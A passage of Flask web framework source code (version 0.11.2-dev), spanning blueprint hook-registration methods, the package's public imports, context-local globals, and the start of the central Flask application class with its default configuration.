            state.app.jinja_env.tests[name or f.__name__] = f
        self.record_once(register_template)

    def app_template_global(self, name=None):
        """Register a custom template global, available application wide.  Like
        :meth:`Flask.template_global` but for a blueprint.

        .. versionadded:: 0.10

        :param name: the optional name of the global, otherwise the
                     function name will be used.
        """
        def decorator(f):
            self.add_app_template_global(f, name=name)
            return f
        return decorator

    def add_app_template_global(self, f, name=None):
        """Register a custom template global, available application wide.  Like
        :meth:`Flask.add_template_global` but for a blueprint.  Works exactly
        like the :meth:`app_template_global` decorator.

        .. versionadded:: 0.10

        :param name: the optional name of the global, otherwise the
                     function name will be used.
        """
        def register_template(state):
            state.app.jinja_env.globals[name or f.__name__] = f
        self.record_once(register_template)

    def before_request(self, f):
        """Like :meth:`Flask.before_request` but for a blueprint.  This function
        is only executed before each request that is handled by a function of
        that blueprint.
        """
        self.record_once(lambda s: s.app.before_request_funcs
            .setdefault(self.name, []).append(f))
        return f

    def before_app_request(self, f):
        """Like :meth:`Flask.before_request`.  Such a function is executed
        before each request, even if outside of a blueprint.
        """
        self.record_once(lambda s: s.app.before_request_funcs
            .setdefault(None, []).append(f))
        return f

    def before_app_first_request(self, f):
        """Like :meth:`Flask.before_first_request`.  Such a function is
        executed before the first request to the application.
        """
        self.record_once(lambda s: s.app.before_first_request_funcs.append(f))
        return f

    def after_request(self, f):
        """Like :meth:`Flask.after_request` but for a blueprint.  This function
        is only executed after each request that is handled by a function of
        that blueprint.
        """
        self.record_once(lambda s: s.app.after_request_funcs
            .setdefault(self.name, []).append(f))
        return f

    def after_app_request(self, f):
        """Like :meth:`Flask.after_request` but for a blueprint.  Such a function
        is executed after each request, even if outside of the blueprint.
        """
        self.record_once(lambda s: s.app.after_request_funcs
            .setdefault(None, []).append(f))
        return f

    def teardown_request(self, f):
        """Like :meth:`Flask.teardown_request` but for a blueprint.  This
        function is only executed when tearing down requests handled by a
        function of that blueprint.  Teardown request functions are executed
        when the request context is popped, even when no actual request was
        performed.
        """
        self.record_once(lambda s: s.app.teardown_request_funcs
            .setdefault(self.name, []).append(f))
        return f

    def teardown_app_request(self, f):
        """Like :meth:`Flask.teardown_request` but for a blueprint.  Such a
        function is executed when tearing down each request, even if outside of
        the blueprint.
        """
        self.record_once(lambda s: s.app.teardown_request_funcs
            .setdefault(None, []).append(f))
        return f

    def context_processor(self, f):
        """Like :meth:`Flask.context_processor` but for a blueprint.  This
        function is only executed for requests handled by a blueprint.
        """
        self.record_once(lambda s: s.app.template_context_processors
            .setdefault(self.name, []).append(f))
        return f

    def app_context_processor(self, f):
        """Like :meth:`Flask.context_processor` but for a blueprint.  Such a
        function is executed each request, even if outside of the blueprint.
        """
        self.record_once(lambda s: s.app.template_context_processors
            .setdefault(None, []).append(f))
        return f

    def app_errorhandler(self, code):
        """Like :meth:`Flask.errorhandler` but for a blueprint.  This
        handler is used for all requests, even if outside of the blueprint.
        """
        def decorator(f):
            self.record_once(lambda s: s.app.errorhandler(code)(f))
            return f
        return decorator

    def url_value_preprocessor(self, f):
        """Registers a function as URL value preprocessor for this
        blueprint.  It's called before the view functions are called and
        can modify the url values provided.
        """
        self.record_once(lambda s: s.app.url_value_preprocessors
            .setdefault(self.name, []).append(f))
        return f

    def url_defaults(self, f):
        """Callback function for URL defaults for this blueprint.  It's called
        with the endpoint and values and should update the values passed
        in place.
        """
        self.record_once(lambda s: s.app.url_default_functions
            .setdefault(self.name, []).append(f))
        return f

    def app_url_value_preprocessor(self, f):
        """Same as :meth:`url_value_preprocessor` but application wide.
        """
        self.record_once(lambda s: s.app.url_value_preprocessors
            .setdefault(None, []).append(f))
        return f

    def app_url_defaults(self, f):
        """Same as :meth:`url_defaults` but application wide.
        """
        self.record_once(lambda s: s.app.url_default_functions
            .setdefault(None, []).append(f))
        return f

    def errorhandler(self, code_or_exception):
        """Registers an error handler that becomes active for this blueprint
        only.  Please be aware that routing does not happen local to a
        blueprint so an error handler for 404 usually is not handled by
        a blueprint unless it is caused inside a view function.  Another
        special case is the 500 internal server error which is always looked
        up from the application.

        Otherwise works as the :meth:`~flask.Flask.errorhandler` decorator
        of the :class:`~flask.Flask` object.
        """
        def decorator(f):
            self.record_once(lambda s: s.app._register_error_handler(
                self.name, code_or_exception, f))
            return f
        return decorator

    def register_error_handler(self, code_or_exception, f):
        """Non-decorator version of the :meth:`errorhandler` error attach
        function, akin to the :meth:`~flask.Flask.register_error_handler`
        application-wide function of the :class:`~flask.Flask` object but
        for error handlers limited to this blueprint.

        .. versionadded:: 0.11
        """
        self.record_once(lambda s: s.app._register_error_handler(
            self.name, code_or_exception, f))






# -*- coding: utf-8 -*-
"""
    flask
    ~~~~~

    A microframework based on Werkzeug.  It's extensively documented
    and follows best practice patterns.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

__version__ = '0.11.2-dev'

# utilities we import from Werkzeug and Jinja2 that are unused
# in the module but are exported as public interface.
from werkzeug.exceptions import abort
from werkzeug.utils import redirect
from jinja2 import Markup, escape

from .app import Flask, Request, Response
from .config import Config
from .helpers import url_for, flash, send_file, send_from_directory, \
     get_flashed_messages, get_template_attribute, make_response, safe_join, \
     stream_with_context
from .globals import current_app, g, request, session, _request_ctx_stack, \
     _app_ctx_stack
from .ctx import has_request_context, has_app_context, \
     after_this_request, copy_current_request_context
from .blueprints import Blueprint
from .templating import render_template, render_template_string

# the signals
from .signals import signals_available, template_rendered, request_started, \
     request_finished, got_request_exception, request_tearing_down, \
     appcontext_tearing_down, appcontext_pushed, \
     appcontext_popped, message_flashed, before_render_template

# We're not exposing the actual json module but a convenient wrapper around
# it.
from . import json

# This was the only thing that flask used to export at one point and it had
# a more generic name.
jsonify = json.jsonify

# backwards compat, goes away in 1.0
from .sessions import SecureCookieSession as Session
json_available = True






# -*- coding: utf-8 -*-
"""
    flask.globals
    ~~~~~~~~~~~~~

    Defines all the global objects that are proxies to the current
    active context.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

from functools import partial
from werkzeug.local import LocalStack, LocalProxy


_request_ctx_err_msg = '''\
Working outside of request context.

This typically means that you attempted to use functionality that needed
an active HTTP request.  Consult the documentation on testing for
information about how to avoid this problem.\
'''
_app_ctx_err_msg = '''\
Working outside of application context.

This typically means that you attempted to use functionality that needed
to interface with the current application object in a way.  To solve
this set up an application context with app.app_context().  See the
documentation for more information.\
'''


def _lookup_req_object(name):
    top = _request_ctx_stack.top
    if top is None:
        raise RuntimeError(_request_ctx_err_msg)
    return getattr(top, name)


def _lookup_app_object(name):
    top = _app_ctx_stack.top
    if top is None:
        raise RuntimeError(_app_ctx_err_msg)
    return getattr(top, name)


def _find_app():
    top = _app_ctx_stack.top
    if top is None:
        raise RuntimeError(_app_ctx_err_msg)
    return top.app


# context locals
_request_ctx_stack = LocalStack()
_app_ctx_stack = LocalStack()
current_app = LocalProxy(_find_app)
request = LocalProxy(partial(_lookup_req_object, 'request'))
session = LocalProxy(partial(_lookup_req_object, 'session'))
g = LocalProxy(partial(_lookup_app_object, 'g'))






# -*- coding: utf-8 -*-
"""
    flask.app
    ~~~~~~~~~

    This module implements the central WSGI application object.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
import os
import sys
from threading import Lock
from datetime import timedelta
from itertools import chain
from functools import update_wrapper
from collections import deque

from werkzeug.datastructures import ImmutableDict
from werkzeug.routing import Map, Rule, RequestRedirect, BuildError
from werkzeug.exceptions import HTTPException, InternalServerError, \
     MethodNotAllowed, BadRequest, default_exceptions

from .helpers import _PackageBoundObject, url_for, get_flashed_messages, \
     locked_cached_property, _endpoint_from_view_func, find_package, \
     get_debug_flag
from . import json, cli
from .wrappers import Request, Response
from .config import ConfigAttribute, Config
from .ctx import RequestContext, AppContext, _AppCtxGlobals
from .globals import _request_ctx_stack, request, session, g
from .sessions import SecureCookieSessionInterface
from .templating import DispatchingJinjaLoader, Environment, \
     _default_template_ctx_processor
from .signals import request_started, request_finished, got_request_exception, \
     request_tearing_down, appcontext_tearing_down
from ._compat import reraise, string_types, text_type, integer_types

# a lock used for logger initialization
_logger_lock = Lock()

# a singleton sentinel value for parameter defaults
_sentinel = object()


def _make_timedelta(value):
    if not isinstance(value, timedelta):
        return timedelta(seconds=value)
    return value


def setupmethod(f):
    """Wraps a method so that it performs a check in debug mode if the
    first request was already handled.
    """
    def wrapper_func(self, *args, **kwargs):
        if self.debug and self._got_first_request:
            raise AssertionError('A setup function was called after the '
                'first request was handled.  This usually indicates a bug '
                'in the application where a module was not imported '
                'and decorators or other functionality was called too late.\n'
                'To fix this make sure to import all your view modules, '
                'database models and everything related at a central place '
                'before the application starts serving requests.')
        return f(self, *args, **kwargs)
    return update_wrapper(wrapper_func, f)


class Flask(_PackageBoundObject):
    """The flask object implements a WSGI application and acts as the central
    object.  It is passed the name of the module or package of the
    application.  Once it is created it will act as a central registry for
    the view functions, the URL rules, template configuration and much more.

    The name of the package is used to resolve resources from inside the
    package or the folder the module is contained in depending on if the
    package parameter resolves to an actual python package (a folder with
    an :file:`__init__.py` file inside) or a standard module (just a ``.py`` file).

    For more information about resource loading, see :func:`open_resource`.

    Usually you create a :class:`Flask` instance in your main module or
    in the :file:`__init__.py` file of your package like this::

        from flask import Flask
        app = Flask(__name__)

    .. admonition:: About the First Parameter

        The idea of the first parameter is to give Flask an idea of what
        belongs to your application.  This name is used to find resources
        on the filesystem, can be used by extensions to improve debugging
        information and a lot more.

        So it's important what you provide there.  If you are using a single
        module, `__name__` is always the correct value.  If you however are
        using a package, it's usually recommended to hardcode the name of
        your package there.

        For example if your application is defined in :file:`yourapplication/app.py`
        you should create it with one of the two versions below::

            app = Flask('yourapplication')
            app = Flask(__name__.split('.')[0])

        Why is that?  The application will work even with `__name__`, thanks
        to how resources are looked up.  However it will make debugging more
        painful.  Certain extensions can make assumptions based on the
        import name of your application.  For example the Flask-SQLAlchemy
        extension will look for the code in your application that triggered
        an SQL query in debug mode.  If the import name is not properly set
        up, that debugging information is lost.  (For example it would only
        pick up SQL queries in `yourapplication.app` and not
        `yourapplication.views.frontend`)

    .. versionadded:: 0.7
       The `static_url_path`, `static_folder`, and `template_folder`
       parameters were added.

    .. versionadded:: 0.8
       The `instance_path` and `instance_relative_config` parameters were
       added.

    .. versionadded:: 0.11
       The `root_path` parameter was added.

    :param import_name: the name of the application package
    :param static_url_path: can be used to specify a different path for the
                            static files on the web.  Defaults to the name
                            of the `static_folder` folder.
    :param static_folder: the folder with static files that should be served
                          at `static_url_path`.  Defaults to the ``'static'``
                          folder in the root path of the application.
    :param template_folder: the folder that contains the templates that should
                            be used by the application.  Defaults to
                            ``'templates'`` folder in the root path of the
                            application.
    :param instance_path: An alternative instance path for the application.
                          By default the folder ``'instance'`` next to the
                          package or module is assumed to be the instance
                          path.
    :param instance_relative_config: if set to ``True`` relative filenames
                                     for loading the config are assumed to
                                     be relative to the instance path instead
                                     of the application root.
    :param root_path: Flask by default will automatically calculate the path
                      to the root of the application.  In certain situations
                      this cannot be achieved (for instance if the package
                      is a Python 3 namespace package) and needs to be
                      manually defined.
    """

    #: The class that is used for request objects.  See :class:`~flask.Request`
    #: for more information.
    request_class = Request

    #: The class that is used for response objects.  See
    #: :class:`~flask.Response` for more information.
    response_class = Response

    #: The class that is used for the Jinja environment.
    #:
    #: .. versionadded:: 0.11
    jinja_environment = Environment

    #: The class that is used for the :data:`~flask.g` instance.
    #:
    #: Example use cases for a custom class:
    #:
    #: 1. Store arbitrary attributes on flask.g.
    #: 2. Add a property for lazy per-request database connectors.
    #: 3. Return None instead of AttributeError on unexpected attributes.
    #: 4. Raise exception if an unexpected attr is set, a "controlled" flask.g.
    #:
    #: In Flask 0.9 this property was called `request_globals_class` but it
    #: was changed in 0.10 to :attr:`app_ctx_globals_class` because the
    #: flask.g object is now application context scoped.
    #:
    #: .. versionadded:: 0.10
    app_ctx_globals_class = _AppCtxGlobals

    # Backwards compatibility support
    def _get_request_globals_class(self):
        return self.app_ctx_globals_class
    def _set_request_globals_class(self, value):
        from warnings import warn
        warn(DeprecationWarning('request_globals_class attribute is now '
                                'called app_ctx_globals_class'))
        self.app_ctx_globals_class = value
    request_globals_class = property(_get_request_globals_class,
                                     _set_request_globals_class)
    del _get_request_globals_class, _set_request_globals_class

    #: The class that is used for the ``config`` attribute of this app.
    #: Defaults to :class:`~flask.Config`.
    #:
    #: Example use cases for a custom class:
    #:
    #: 1. Default values for certain config options.
    #: 2. Access to config values through attributes in addition to keys.
    #:
    #: .. versionadded:: 0.11
    config_class = Config

    #: The debug flag.  Set this to ``True`` to enable debugging of the
    #: application.  In debug mode the debugger will kick in when an unhandled
    #: exception occurs and the integrated server will automatically reload
    #: the application if changes in the code are detected.
    #:
    #: This attribute can also be configured from the config with the ``DEBUG``
    #: configuration key.  Defaults to ``False``.
    debug = ConfigAttribute('DEBUG')

    #: The testing flag.  Set this to ``True`` to enable the test mode of
    #: Flask extensions (and in the future probably also Flask itself).
    #: For example this might activate unittest helpers that have an
    #: additional runtime cost which should not be enabled by default.
    #:
    #: If this is enabled and PROPAGATE_EXCEPTIONS is not changed from the
    #: default it's implicitly enabled.
    #:
    #: This attribute can also be configured from the config with the
    #: ``TESTING`` configuration key.  Defaults to ``False``.
    testing = ConfigAttribute('TESTING')

    #: If a secret key is set, cryptographic components can use this to
    #: sign cookies and other things.  Set this to a complex random value
    #: when you want to use the secure cookie for instance.
    #:
    #: This attribute can also be configured from the config with the
    #: ``SECRET_KEY`` configuration key.  Defaults to ``None``.
    secret_key = ConfigAttribute('SECRET_KEY')

    #: The secure cookie uses this for the name of the session cookie.
    #:
    #: This attribute can also be configured from the config with the
    #: ``SESSION_COOKIE_NAME`` configuration key.  Defaults to ``'session'``
    session_cookie_name = ConfigAttribute('SESSION_COOKIE_NAME')

    #: A :class:`~datetime.timedelta` which is used to set the expiration
    #: date of a permanent session.  The default is 31 days which makes a
    #: permanent session survive for roughly one month.
    #:
    #: This attribute can also be configured from the config with the
    #: ``PERMANENT_SESSION_LIFETIME`` configuration key.  Defaults to
    #: ``timedelta(days=31)``
    permanent_session_lifetime = ConfigAttribute('PERMANENT_SESSION_LIFETIME',
        get_converter=_make_timedelta)

    #: A :class:`~datetime.timedelta` which is used as default cache_timeout
    #: for the :func:`send_file` functions. The default is 12 hours.
    #:
    #: This attribute can also be configured from the config with the
    #: ``SEND_FILE_MAX_AGE_DEFAULT`` configuration key. This configuration
    #: variable can also be set with an integer value used as seconds.
    #: Defaults to ``timedelta(hours=12)``
    send_file_max_age_default = ConfigAttribute('SEND_FILE_MAX_AGE_DEFAULT',
        get_converter=_make_timedelta)

    #: Enable this if you want to use the X-Sendfile feature.  Keep in
    #: mind that the server has to support this.  This only affects files
    #: sent with the :func:`send_file` method.
    #:
    #: .. versionadded:: 0.2
    #:
    #: This attribute can also be configured from the config with the
    #: ``USE_X_SENDFILE`` configuration key.  Defaults to ``False``.
    use_x_sendfile = ConfigAttribute('USE_X_SENDFILE')

    #: The name of the logger to use.  By default the logger name is the
    #: package name passed to the constructor.
    #:
    #: .. versionadded:: 0.4
    logger_name = ConfigAttribute('LOGGER_NAME')

    #: The JSON encoder class to use.  Defaults to :class:`~flask.json.JSONEncoder`.
    #:
    #: .. versionadded:: 0.10
    json_encoder = json.JSONEncoder

    #: The JSON decoder class to use.  Defaults to :class:`~flask.json.JSONDecoder`.
    #:
    #: .. versionadded:: 0.10
    json_decoder = json.JSONDecoder

    #: Options that are passed directly to the Jinja2 environment.
    jinja_options = ImmutableDict(
        extensions=['jinja2.ext.autoescape', 'jinja2.ext.with_']
    )

    #: Default configuration parameters.
    default_config = ImmutableDict({
        'DEBUG':                                get_debug_flag(default=False),
        'TESTING':                              False,
        'PROPAGATE_EXCEPTIONS':                 None,
        'PRESERVE_CONTEXT_ON_EXCEPTION':        None,
        'SECRET_KEY':                           None,
        'PERMANENT_SESSION_LIFETIME':           timedelta(days=31),
        'USE_X_SENDFILE':                       False,
        'LOGGER_NAME':                          None,
        'LOGGER_HANDLER_POLICY':               'always',
        'SERVER_NAME':                          None,
        'APPLICATION_ROOT':                     None,
        'SESSION_COOKIE_NAME':                  'session',
        'SESSION_COOKIE_DOMAIN':                None,
        'SESSION_COOKIE_PATH':                  None,
        'SESSION_COOKIE_HTTPONLY':              True,
        'SESSION_COOKIE_SECURE':                False,
        'SESSION_REFRESH_EACH_REQUEST':         True,
        'MAX_CONTENT_LENGTH':                   None,
        'SEND_FILE_MAX_AGE_DEFAULT':            timedelta(hours=12),
        'TRAP_BAD_REQUEST_ERRORS':              False,
        'TRAP_HTTP_EXCEPTIONS':                 False,
        'EXPLAIN_TEMPLATE_LOADING':             False,
        'PREFERRED_URL_SCHEME':                 'http',
        'JSON_AS_ASCII':                        True,
        'JSON_SORT_KEYS':                       True,
        'JSONIFY_PRETTYPRINT_REGULAR':          True,
        'JSONIFY_MIMETYPE':                     'application/json',
        'TEMPLATES_AUTO_RELOAD':                None,
    })

    #: The rule object to use for URL rules created.  This is used by
    #: :meth:`add_url_rule`.  Defaults to :class:`werkzeug.routing.Rule`.
    #:
    #: .. versionadded:: 0.7
    url_rule_class = Rule

    #: the test client that is used with when `test_client` is used.
    #:
    #: .. versionadded:: 0.7
    test_client_class = None

    #: the session interface to use.  By default an instance of
    #: :class:`~flask.sessions.SecureCookieSessionInterface` is used here.
    #:
    #: .. versionadded:: 0.8
    session_interface = SecureCookieSessionInterface()

    def __init__(self, import_name, static_path=None, static_url_path=None,
                 static_folder='static', template_folder='templates',
                 instance_path=None, instance_relative_config=False,
                 root_path=None):
        _PackageBoundObject.__init__(self, import_name,
                                     template_folder=template_folder,
                                     root_path=root_path)
        if static_path is not None:
            from warnings import warn
            warn(DeprecationWarning('static_path is now called '
                                    'static_url_path'), stacklevel=2)
            static_url_path = static_path

        if static_url_path is not None:
            self.static_url_path = static_url_path
        if static_folder is not None:
            self.static_folder = static_folder
        if instance_path is None:
            instance_path = self.auto_find_instance_path()
        elif not os.path.isabs(instance_path):
            raise ValueError('If an instance path is provided it must be '
                             'absolute.  A relative path was given instead.')

        #: Holds the path to the instance folder.
        #:
        #: .. versionadded:: 0.8
        self.instance_path = instance_path

        #: The configuration dictionary as :class:`Config`.  This behaves
        #: exactly like a regular dictionary but supports additional methods
        #: to load a config from files.
        self.config = self.make_config(instance_relative_config)

        # Prepare the deferred setup of the logger.
        self._logger = None
        self.logger_name = self.import_name

        #: A dictionary of all view functions registered.  The keys will
        #: be function names which are also used to generate URLs and
        #: the values are the function objects themselves.
        #: To register a view function, use the :meth:`route` decorator.
        self.view_functions = {}

        # support for the now deprecated `error_handlers` attribute.  The
        # :attr:`error_handler_spec` shall be used now.
        self._error_handlers = {}

        #: A dictionary of all registered error handlers.  The key is ``None``
        #: for error handlers active on the application, otherwise the key is
        #: the name of the blueprint.  Each key points to another dictionary
        #: where the key is the status code of the http exception.  The
        #: special key ``None`` points to a list of tuples where the first item
        #: is the class for the instance check and the second the error handler
        #: function.
        #:
        #: To register a error handler, use the :meth:`errorhandler`
        #: decorator.
        self.error_handler_spec = {None: self._error_handlers}

        #: A list of functions that are called when :meth:`url_for` raises a
        #: :exc:`~werkzeug.routing.BuildError`.  Each function registered here
        #: is called with `error`, `endpoint` and `values`.  If a function
        #: returns ``None`` or raises a :exc:`BuildError` the next function is
        #: tried.
        #:
        #: .. versionadded:: 0.9
        self.url_build_error_handlers = []

        #: A dictionary with lists of functions that should be called at the
        #: beginning of the request.  The key of the dictionary is the name of
        #: the blueprint this function is active for, ``None`` for all requests.
        #: This can for example be used to open database connections or
        #: getting hold of the currently logged in user.  To register a
        #: function here, use the :meth:`before_request` decorator.
        self.before_request_funcs = {}

        #: A lists of functions that should be called at the beginning of the
        #: first request to this instance.  To register a function here, use
        #: the :meth:`before_first_request` decorator.
        #:
        #: .. versionadded:: 0.8
        self.before_first_request_funcs = []

        #: A dictionary with lists of functions that should be called after
        #: each request.  The key of the dictionary is the name of the blueprint
        #: this function is active for, ``None`` for all requests.  This can for
        #: example be used to close database connections. To register a function
        #: here, use the :meth:`after_request` decorator.
        self.after_request_funcs = {}

        #: A dictionary with lists of functions that are called after
        #: each request, even if an exception has occurred. The key of the
        #: dictionary is the name of the blueprint this function is active for,
        #: ``None`` for all requests. These functions are not allowed to modify
        #: the request, and their return values are ignored. If an exception
        #: occurred while processing the request, it gets passed to each
        #: teardown_request function. To register a function here, use the
        #: :meth:`teardown_request` decorator.
        #:
        #: .. versionadded:: 0.7
        self.teardown_request_funcs = {}

        #: A list of functions that are called when the application context
        #: is destroyed.  Since the application context is also torn down
        #: if the request ends this is the place to store code that disconnects
        #: from databases.
        #:
        #: .. versionadded:: 0.9
        self.teardown_appcontext_funcs = []

        #: A dictionary with lists of functions that can be used as URL
        #: value processor functions.  Whenever a URL is built these functions
        #: are called to modify the dictionary of values in place.  The key
        #: ``None`` here is used for application wide
        #: callbacks, otherwise the key is the name of the blueprint.
        #: Each of these functions has the chance to modify the dictionary
        #:
        #: .. versionadded:: 0.7
        self.url_value_preprocessors = {}

        #: A dictionary with lists of functions that can be used as URL value
        #: preprocessors.  The key ``None`` here is used for application wide
        #: callbacks, otherwise the key is the name of the blueprint.
        #: Each of these functions has the chance to modify the dictionary
        #: of URL values before they are used as the keyword arguments of the
        #: view function.  For each function registered this one should also
        #: provide a :meth:`url_defaults` function that adds the parameters
        #: automatically again that were removed that way.
        #:
        #: .. versionadded:: 0.7
        self.url_default_functions = {}

        #: A dictionary with list of functions that are called without argument
        #: to populate the template context.  The key of the dictionary is the
        #: name of the blueprint this function is active for, ``None`` for all
        #: requests.  Each returns a dictionary that the template context is
        #: updated with.  To register a function here, use the
        #: :meth:`context_processor` decorator.
        self.template_context_processors = {
            None: [_default_template_ctx_processor]
        }

        #: A list of shell context processor functions that should be run
        #: when a shell context is created.
        #:
        #: .. versionadded:: 0.11
        self.shell_context_processors = []

        #: all the attached blueprints in a dictionary by name.  Blueprints
        #: can be attached multiple times so this dictionary does not tell
        #: you how often they got attached.
        #:
        #: .. versionadded:: 0.7
        self.blueprints = {}
        self._blueprint_order = []

        #: a place where extensions can store application specific state.  For
        #: example this is where an extension could store database engines and
        #: similar things.  For backwards compatibility extensions should register
        #: themselves like this::
        #:
        #:      if not hasattr(app, 'extensions'):
        #:          app.extensions = {}
        #:      app.extensions['extensionname'] = SomeObject()
        #:
        #: The key must match the name of the extension module. For example in
        #: case of a "Flask-Foo" extension in `flask_foo`, the key would be
        #: ``'foo'``.
        #:
        #: .. versionadded:: 0.7
        self.extensions = {}

        #: The :class:`~werkzeug.routing.Map` for this instance.  You can use
        #: this to change the routing converters after the class was created
        #: but before any routes are connected.  Example::
        #:
        #:    from werkzeug.routing import BaseConverter
        #:
        #:    class ListConverter(BaseConverter):
        #:        def to_python(self, value):
        #:            return value.split(',')
        #:        def to_url(self, values):
        #:            return ','.join(BaseConverter.to_url(value)
        #:                            for value in values)
        #:
        #:    app = Flask(__name__)
        #:    app.url_map.converters['list'] = ListConverter
        self.url_map = Map()

        # tracks internally if the application already handled at least one
        # request.
        self._got_first_request = False
        self._before_request_lock = Lock()

        # register the static folder for the application.  Do that even
        # if the folder does not exist.  First of all it might be created
        # while the server is running (usually happens during development)
        # but also because google appengine stores static files somewhere
        # else when mapped with the .yml file.
        if self.has_static_folder:
            self.add_url_rule(self.static_url_path + '/<path:filename>',
                              endpoint='static',
                              view_func=self.send_static_file)

        #: The click command line context for this application.  Commands
        #: registered here show up in the :command:`flask` command once the
        #: application has been discovered.  The default commands are
        #: provided by Flask itself and can be overridden.
        #:
        #: This is an instance of a :class:`click.Group` object.
        self.cli = cli.AppGroup(self.name)

    def _get_error_handlers(self):
        from warnings import warn
        warn(DeprecationWarning('error_handlers is deprecated, use the '
            'new error_handler_spec attribute instead.'), stacklevel=1)
        return self._error_handlers
    def _set_error_handlers(self, value):
        self._error_handlers = value
        self.error_handler_spec[None] = value
    error_handlers = property(_get_error_handlers, _set_error_handlers)
    del _get_error_handlers, _set_error_handlers

    @locked_cached_property
    def name(self):
        """The name of the application.  This is usually the import name
        with the difference that it's guessed from the run file if the
        import name is main.  This name is used as a display name when
        Flask needs the name of the application.  It can be set and overridden
        to change the value.

        .. versionadded:: 0.8
        """
        if self.import_name == '__main__':
            fn = getattr(sys.modules['__main__'], '__file__', None)
            if fn is None:
                return '__main__'
            return os.path.splitext(os.path.basename(fn))[0]
        return self.import_name

    @property
    def propagate_exceptions(self):
        """Returns the value of the ``PROPAGATE_EXCEPTIONS`` configuration
        value in case it's set, otherwise a sensible default is returned.

        .. versionadded:: 0.7
        """
        rv = self.config['PROPAGATE_EXCEPTIONS']
        if rv is not None:
            return rv
        return self.testing or self.debug

    @property
    def preserve_context_on_exception(self):
        """Returns the value of the ``PRESERVE_CONTEXT_ON_EXCEPTION``
        configuration value in case it's set, otherwise a sensible default
        is returned.

        .. versionadded:: 0.7
        """
        rv = self.config['PRESERVE_CONTEXT_ON_EXCEPTION']
        if rv is not None:
            return rv
        return self.debug

    @property
    def logger(self):
        """A :class:`logging.Logger` object for this application.  The
        default configuration is to log to stderr if the application is
        in debug mode.  This logger can be used to (surprise) log messages.
        Here some examples::

            app.logger.debug('A value for debugging')
            app.logger.warning('A warning occurred (%d apples)', 42)
            app.logger.error('An error occurred')

        .. versionadded:: 0.3
        """
        if self._logger and self._logger.name == self.logger_name:
            return self._logger
        with _logger_lock:
            if self._logger and self._logger.name == self.logger_name:
                return self._logger
            from flask.logging import create_logger
            self._logger = rv = create_logger(self)
            return rv

    @locked_cached_property
    def jinja_env(self):
        """The Jinja2 environment used to load templates."""
        return self.create_jinja_environment()

    @property
    def got_first_request(self):
        """This attribute is set to ``True`` if the application started
        handling the first request.

        .. versionadded:: 0.8
        """
        return self._got_first_request

    def make_config(self, instance_relative=False):
        """Used to create the config attribute by the Flask constructor.
        The `instance_relative` parameter is passed in from the constructor
        of Flask (there named `instance_relative_config`) and indicates if
        the config should be relative to the instance path or the root path
        of the application.

        .. versionadded:: 0.8
        """
        root_path = self.root_path
        if instance_relative:
            root_path = self.instance_path
        return self.config_class(root_path, self.default_config)

    def auto_find_instance_path(self):
        """Tries to locate the instance path if it was not provided to the
        constructor of the application class.  It will basically calculate
        the path to a folder named ``instance`` next to your main file or
        the package.

        .. versionadded:: 0.8
        """
        prefix, package_path = find_package(self.import_name)
        if prefix is None:
            return os.path.join(package_path, 'instance')
        return os.path.join(prefix, 'var', self.name + '-instance')

    def open_instance_resource(self, resource, mode='rb'):
        """Opens a resource from the application's instance folder
        (:attr:`instance_path`).  Otherwise works like
        :meth:`open_resource`.  Instance resources can also be opened for
        writing.

        :param resource: the name of the resource.  To access resources within
                         subfolders use forward slashes as separator.
        :param mode: resource file opening mode, default is 'rb'.
        """
        return open(os.path.join(self.instance_path, resource), mode)

    def create_jinja_environment(self):
        """Creates the Jinja2 environment based on :attr:`jinja_options`
        and :meth:`select_jinja_autoescape`.  Since 0.7 this also adds
        the Jinja2 globals and filters after initialization.  Override
        this function to customize the behavior.

        .. versionadded:: 0.5
        .. versionchanged:: 0.11
           ``Environment.auto_reload`` set in accordance with
           ``TEMPLATES_AUTO_RELOAD`` configuration option.
        """
        options = dict(self.jinja_options)
        if 'autoescape' not in options:
            options['autoescape'] = self.select_jinja_autoescape
        if 'auto_reload' not in options:
            if self.config['TEMPLATES_AUTO_RELOAD'] is not None:
                options['auto_reload'] = self.config['TEMPLATES_AUTO_RELOAD']
            else:
                options['auto_reload'] = self.debug
        rv = self.jinja_environment(self, **options)
        rv.globals.update(
            url_for=url_for,
            get_flashed_messages=get_flashed_messages,
            config=self.config,
            # request, session and g are normally added with the
            # context processor for efficiency reasons but for imported
            # templates we also want the proxies in there.
            request=request,
            session=session,
            g=g
        )
        rv.filters['tojson'] = json.tojson_filter
        return rv

    def create_global_jinja_loader(self):
        """Creates the loader for the Jinja2 environment.  Can be used to
        override just the loader and keeping the rest unchanged.  It's
        discouraged to override this function.  Instead one should override
        the :meth:`jinja_loader` function instead.

        The global loader dispatches between the loaders of the application
        and the individual blueprints.

        .. versionadded:: 0.7
        """
        return DispatchingJinjaLoader(self)

    def init_jinja_globals(self):
        """Deprecated.  Used to initialize the Jinja2 globals.

        .. versionadded:: 0.5
        .. versionchanged:: 0.7
           This method is deprecated with 0.7.  Override
           :meth:`create_jinja_environment` instead.
        """

    def select_jinja_autoescape(self, filename):
        """Returns ``True`` if autoescaping should be active for the given
        template name. If no template name is given, returns `True`.

        .. versionadded:: 0.5
        """
        if filename is None:
            return True
        return filename.endswith(('.html', '.htm', '.xml', '.xhtml'))

    def update_template_context(self, context):
        """Update the template context with some commonly used variables.
        This injects request, session, config and g into the template
        context as well as everything template context processors want
        to inject.  Note that the as of Flask 0.6, the original values
        in the context will not be overridden if a context processor
        decides to return a value with the same key.

        :param context: the context as a dictionary that is updated in place
                        to add extra variables.
        """
        funcs = self.template_context_processors[None]
        reqctx = _request_ctx_stack.top
        if reqctx is not None:
            bp = reqctx.request.blueprint
            if bp is not None and bp in self.template_context_processors:
                funcs = chain(funcs, self.template_context_processors[bp])
        orig_ctx = context.copy()
        for func in funcs:
            context.update(func())
        # make sure the original values win.  This makes it possible to
        # easier add new variables in context processors without breaking
        # existing views.
        context.update(orig_ctx)

    def make_shell_context(self):
        """Returns the shell context for an interactive shell for this
        application.  This runs all the registered shell context
        processors.

        .. versionadded:: 0.11
        """
        rv = {'app': self, 'g': g}
        for processor in self.shell_context_processors:
            rv.update(processor())
        return rv

    def run(self, host=None, port=None, debug=None, **options):
        """Runs the application on a local development server.

        Do not use ``run()`` in a production setting. It is not intended to
        meet security and performance requirements for a production server.
        Instead, see :ref:`deployment` for WSGI server recommendations.

